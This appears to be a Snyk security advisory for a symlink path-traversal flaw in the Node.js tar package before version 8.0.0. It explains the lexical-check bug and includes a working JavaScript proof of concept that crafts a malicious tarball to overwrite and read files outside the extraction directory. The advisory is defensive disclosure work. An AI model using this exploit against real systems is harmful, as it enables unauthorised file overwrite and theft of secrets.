Symlink Attack Affecting tar package, versions <8.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Symlink Attack vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-TAR-23314571
  • published2 Dec 2026
  • disclosed2 Dec 2026
  • credithgrgr

Introduced: 2 Dec 2026

NewCVE-2026-140247  (opens in a new tab)
CWE-22  (opens in a new tab)
CWE-59  (opens in a new tab)

How to fix?

Upgrade tar to version 8.0.0 or higher.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via the [STRIPABSOLUTEPATH] and [SYMLINK] handlers in src/unpack.ts, which perform only a lexical check on symlink linkpaths during extraction. An attacker can craft a tarball containing a symlink (e.g., l1 -> .) followed by a second symlink whose linkpath traverses through the first (e.g., esc -> l1/../outside.txt). Because path.posix.normalize collapses the l1/.. pair textually before any filesystem lstat is performed, the escape check passes, but the kernel resolves l1/.. through the symlink target, placing the resulting symlink outside the extraction directory. Any subsequent read or write through the extracted tree then reaches arbitrary files or directories above the extraction root with the privileges of the extracting user.

PoC

  1. Build an archive (any tool; e.g. node-tar's own Header):
    const fs = require('fs'), tar = require('tar')
    const hdr = (p, l) => { const b = Buffer.alloc(512); new tar.Header({ path: p, type: 'SymbolicLink', linkpath: l }).encode(b, 0); return b }
    fs.writeFileSync('evil.tar', Buffer.concat([hdr('l1', '.'), hdr('esc', 'l1/../outside.txt'), hdr('escdir', 'l1/..'), Buffer.alloc(1024)]))
    fs.writeFileSync('control.tar', Buffer.concat([hdr('esc', '../outside.txt'), Buffer.alloc(1024)]))
    
  2. Extract with default options and then use the extracted tree (same usage model as the GHSA-9ppj PoC):
    fs.mkdirSync('root/extract', { recursive: true })
    fs.writeFileSync('root/outside.txt', 'ORIGINAL\n'); fs.writeFileSync('root/secret.txt', 'DUMMY-SECRET\n')
    await tar.x({ cwd: 'root/extract', file: 'evil.tar' })          // same with sync: true
    fs.writeFileSync('root/extract/esc', 'PWNED\n')
    console.log(fs.readFileSync('root/outside.txt', 'utf8'))              // PWNED
    console.log(fs.readFileSync('root/extract/escdir/secret.txt', 'utf8')) // DUMMY-SECRET
    

Observed on 7.5.23 (repeated runs, async and sync): control.tar is rejected with "linkpath escapes extraction directory" and outside.txt stays ORIGINAL. evil.tar yields warnings=[], realpath(esc) = root/outside.txt, realpath(escdir) = root; outside.txt is overwritten and the outside secret is read. The deeper variant above overwrote a file three directories above cwd.

CVSS Base Scores

version 4.0
version 3.1